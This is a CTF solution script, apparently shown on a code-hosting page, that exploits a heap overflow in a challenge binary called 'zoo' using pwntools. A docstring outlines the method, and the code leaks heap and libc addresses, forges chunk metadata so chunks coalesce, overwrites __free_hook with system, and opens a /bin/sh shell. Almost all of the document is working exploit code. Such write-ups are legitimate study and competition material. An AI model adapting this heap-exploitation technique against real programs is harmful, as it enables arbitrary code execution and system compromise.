/
exploit.py
209 lines (158 loc) · 5.71 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
"""
This challenge took me about 10-15 hours to solve, which involved around 4-5
hours of reversing. Didn't solve it during the CTF.
I have written some pseducode in dec.c
Basic idea:
1. Leak heap address by changing setting the length of name of the animal to 0x14.
2. Trigger the overflow in feed function by feeding/walking appropriately.
3. Allocate 2 consecutive chunks and free the first one.
4. Allocate another chunk (the same first one as above) and overflow into the second one.
5. Overflow such that on freeing the second chunk, it coalesces with an animal chunk at the start.
6. That animal chunk's feeds[0] and feeds[1] would be taken as 'fd' and 'bk' pointers.
7. Trigger overflow in that chunk to initialize fd->bk and bk->fd properly.
8. Allocate chunks from that animal chunk to overwrite 'species' with the heap address of chunk in unsorted bin + 0x10 and leak libc.
9. Keep on allocating to forge the next animal chunk and set likes > 14.
10. Walk any existing chunk and overwrite the contents of the animal chunk's feed to clear invalid pointers and also setup pointers to '__free_hook' and '/bin/sh'.
11. Overwrite free hook with system.
"""
from pwn import *
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = "./zoo"
libc = ELF("libc.so.6")
bin = ELF(file)
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
conn = process(file, env=env)
#gdb.attach(conn)
#conn = remote("ch41l3ng3s.codegate.kr", 3333)
def give_name(name):
conn.recvuntil("enter your name")
conn.send(name)
conn.recvuntil("open your own zoo")
def menu(choice):
conn.recvuntil("[7] Close the zoo")
conn.sendline(str(choice))
def adopt(ch, name):
menu(1)
conn.recvuntil("Lion")
conn.sendline(str(ch))
conn.recvuntil("Please name the animal")
conn.send(name)
def feed(name, m_name=None, m_desc=None):
"""malloc(0x80), [malloc(0x80)]"""
menu(2)
conn.recvuntil("animal will you feed")
conn.send(name)
if m_name is not None:
conn.recvuntil("name of this medicine")
conn.send(m_name)
conn.recvuntil("description of this medicine")
conn.send(m_desc)
def clean(name):
"""free(dung)"""
menu(3)
conn.recvuntil("animal's dung will you clean?")
conn.send(name)
conn.recvuntil("Good job")
def walk(name, messages = None):
"""free(feed)"""
menu(4)
conn.recvuntil("animal do you want to take")
conn.send(name)
if messages is not None:
for message in messages:
conn.recvuntil("You can give a msg")
conn.send(message)
def hospital(name):
menu(5)
conn.recvuntil("animal will you take")
conn.send(name)
def list(name):
menu(6)
conn.recvuntil("animal info do you")
conn.send(name)
give_name("vampire\n")
# Leaking heap address
adopt(1, "a"*0x14)
feed("a"*0x14)
conn.recvuntil("a"*0x14)
heap_addr = u64(conn.recvuntil("\x20")[:-1].ljust(8, "\x00"))
fake_chunk_size = 1560
adopt(1, "ani1\n")
adopt(1, "dk\n\x00" + p64(0) + p64(fake_chunk_size + 1))
adopt(1, "ani3\n")
for i in range(5):
feed("ani1\n")
# All dungs will be consecutive chunks
for i in range(9):
walk("ani1\n")
feed("ani1\n")
hospital("ani1\n")
# Freeing all feeds
for i in range(5):
walk("ani1\n")
# Creating two consecutive chunks
feed("ani1\n", m_name="aa", m_desc="bb")
feed("ani3\n")
# Freeing the first one
walk("ani1\n")
# Overwriting to create a coalesced chunk with dk animal
payload = "\x00"*0x68 + \
p64(fake_chunk_size) + \
p64(0x90)
# Allocating it in ani1 and overflowing into next chunk
feed("ani1\n", m_name="zzzzzzzz", m_desc=payload)
# Pointing dk's feeds[0] and feeds[1] to setup linked list
# First making dk ill
for i in range(5):
feed("dk\n")
for i in range(9):
walk("dk\n")
feed("dk\n")
hospital("dk\n")
for i in range(6):
feed("dk\n", m_name="aa", m_desc="pp")
fake_chunk_addr = heap_addr - 0x55e2136828c0 + 0x55e2136823b8
# Forging fd and bk pointers
feed("dk\n", m_name=p64(fake_chunk_addr), m_desc=p64(fake_chunk_addr))
feed("dk\n", m_name=p64(fake_chunk_addr), m_desc=p64(fake_chunk_addr))
walk("ani3\n")
libc_leak_addr = heap_addr - 0x55a3ebdc58c0 + 0x55a3ebdc54e8
species_addr = heap_addr - 0x560f2a9dc8c0 + 0x560f2a9dc468
# Now any chunk I allocate, it will be actually dk chunk
# This starts from feed 3
payload = "\x00"*0x50
feed("ani1\n", m_name=p64(0), m_desc=payload)
feed("ani1\n", m_name=p64(libc_leak_addr), m_desc="bbbb")
list("dk\n")
conn.recvuntil("Species : ")
libc_leak = u64(conn.recvn(6) + "\x00"*2)
log.info("Libc Leak: " + hex(libc_leak))
#libc.address = libc_leak - 0x7efee9099b78 + 0x7efee8cd5000
libc.address = libc_leak - 0x7fdeda264b78 + 0x7fded9ea0000
# Making next animal's next initialized != -1
# Name would be "1111"
payload = "\x00"*0x60 + p32(1) + "1111\x00"
feed("ani1\n", m_name="cccc", m_desc=payload)
# Initial fastbin chunk that can be freed
fast_chunk = heap_addr - 0x55f2ac5268c0 + 0x55f2ac526000 + 0x10
# Reread the contents of 1111's feed
feed_addr = heap_addr - 0x5651c72c78c0 + 0x5651c72c75b0
feed("ani1\n", m_name=p64(fast_chunk), m_desc=p64(feed_addr))
feed("ani1\n", m_name="gggg", m_desc="hhhh")
# Overwriting likes, feed_index, etc. of "1111" animal
payload = "2"*0x38 + \
p32(14) + \
p32(2)
feed("ani1\n", m_name="iiii", m_desc=payload)
feed_to_be_freed = heap_addr - 0x55c47a9968c0 + 0x55c47a996950
messages = []
messages.append(p64(libc.symbols['__free_hook'] - 0x18) + \
p64(feed_to_be_freed - 0x18) + p64(0)*10)
messages.append(p64(libc.symbols['system']))
messages.append("/bin/sh\x00")
walk("1111\n", messages) # Free fast_chunk
walk("ani1\n")
log.info("Leaked heap address: " + hex(heap_addr))
log.info("Leaked libc address: " + hex(libc_leak))
conn.interactive()